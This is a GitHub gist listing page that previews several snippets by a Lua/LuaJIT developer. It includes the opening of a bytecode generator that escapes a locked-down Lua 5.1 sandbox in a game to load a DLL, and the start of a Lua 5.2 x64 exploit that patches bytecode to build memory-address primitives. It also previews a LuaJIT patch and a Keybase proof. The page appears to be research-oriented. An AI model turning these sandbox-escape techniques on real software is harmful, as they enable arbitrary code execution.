Skip to content

Instantly share code, notes, and snippets.

Exploiting Lua 5.1 on 32-bit Windows

The following Lua program generates a Lua bytecode program called ignore-unsigned-sga.fnt, which in turn loads a DLL from within an extremely locked down Lua 5.1 sandbox in a program called RelicCOH2.exe. The remainder of this document attempts to explain how this program works by a whirlwind tour of relevent bits of the Lua 5.1 virtual machine.

if string.dump(function()end):sub(1, 12) ~= "\27Lua\81\0\1\4\4\4\8\0" then
  error("This generator requires a 32-bit version of Lua 5.1")
end

local function outer()
  local magic -- In bytecode, the stack slot corresponding to this local is changed

Keybase proof

I hereby claim:

  • I am corsix on github.
  • I am corsix (https://keybase.io/corsix) on keybase.
  • I have a public key whose fingerprint is C8D1 534F D677 D053 0006 BD34 E1E9 8F2E 5A49 BA6B

To claim this, I am signing this object:

diff --git a/src/lj_asm_x86.h b/src/lj_asm_x86.h
index 718cb12..1c36813 100644
--- a/src/lj_asm_x86.h
+++ b/src/lj_asm_x86.h
@@ -2620,6 +2620,107 @@ static void asm_setup_target(ASMState *as)
/* -- Trace patching ------------------------------------------------------ */
+static const uint8_t map_op1[256] = {
+0x92,0x92,0x92,0x92,0x52,0x45,0x51,0x51,0x92,0x92,0x92,0x92,0x52,0x45,0x51,0x20,
@corsix
corsix / sneaky.lua
Last active March 30, 2023 20:13
Exploiting Lua 5.2 on x64
-- double as_num(GCobj* x) { return reinterpret_cast<double>(x); }
local as_num = string.dump(function(...) for n = ..., ..., 0 do return n end end)
as_num = as_num:gsub("\x21", "\x17", 1) -- OP_FORPREP -> OP_JMP
as_num = assert(load(as_num))
-- uint64_t addr_of(GCobj* x) { return reinterpret_cast<uint64_t>(x); }
local function addr_of(x) return as_num(x) * 2^1000 * 2^74 end
-- std::string ub8(uint64_t n) { return std::string(reinterpret_cast<char*>(&n), 8); }
local function ub8(n)
@corsix
corsix / str.lua
Last active April 30, 2019 19:23
LuaJIT string hash table woes
--- Plumbing
local ffi = require"ffi"
ffi.cdef"char* strstr(const char*, const char*)"
local strstr = ffi.C.strstr
local cast = ffi.cast
local str_hash_offset = cast("uint32_t*", strstr("*", ""))[-2] == 1 and 3 or 2
local function str_hash(s)
return cast("uint32_t*", strstr(s, "")) - str_hash_offset
end
local table_new = require"table.new"